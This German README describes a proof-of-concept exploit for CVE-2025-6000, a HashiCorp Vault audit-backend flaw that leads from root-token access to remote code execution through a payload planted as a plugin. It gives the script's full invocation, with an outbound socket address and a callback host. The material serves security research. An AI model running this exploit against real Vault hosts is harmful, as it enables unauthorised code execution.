
Proof-of-Concept-Exploit für CVE-2025-6000, eine Privilegieneskalation zu RCE in HashiCorp Vault Audit-Backends, die die Ausführung beliebigen Codes mit einem Root-Token ermöglicht.
Proof-of-Concept für CVE-2025-6000, eine Schwachstelle, die eine Privilegieneskalation zu RCE in
den Audit-Backends von HashiCorp Vault ermöglicht. Das Audit-Device erlaubt einem privilegierten
Aufrufer die Steuerung der Optionen prefix, file_path und mode ohne Validierung. Durch
das Schreiben einer ausführbaren Payload in das plugin_directory von Vault und das anschließende
Registrieren und Mounten als Plugin kann ein Angreifer mit einem Root-Token beliebigen Code
auf dem Vault-Host ausführen.
https://github.com/user-attachments/assets/f8d6c90a-b511-4e96-8e4d-718c7a765601
plugin_directory.sys/audit, sys/plugins,
sys/mounts).python3 CVE-2025-6000.py <vault-host> <vault-port> --token <root-token> \
--socket-addr <ip:port Vault dials> \
--listen-port 9861 \
--callback-host <your-ip> --callback-port 8000 \
--cleanup
--socket-addr — Adresse, die Vault für den Audit-Stream anwählt (Ihre VPN-IP:Port
oder ein ngrok-TCP-Endpunkt).--listen-port — Lokaler Port, an den der Capture-Server bindet.--callback-host / --callback-port — HTTP-Endpunkt zur Bestätigung der
Ausführung.--cleanup — Entfernt die Audit-Devices, das Plugin und den Mount am Ende.Wenn der Capture fehlschlägt, fällt das Skript auf eine manuelle SHA256-Eingabe zurück. Führen Sie -h für
alle Optionen aus.
Nur für autorisierte Sicherheitstests, Forschung und Bildung. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Sie sind allein für die Nutzung dieser Software verantwortlich; die Autoren übernehmen keine Haftung für Missbrauch oder Schäden. Unbefugter Zugriff auf Computersysteme ist illegal.
MIT — siehe LICENSE.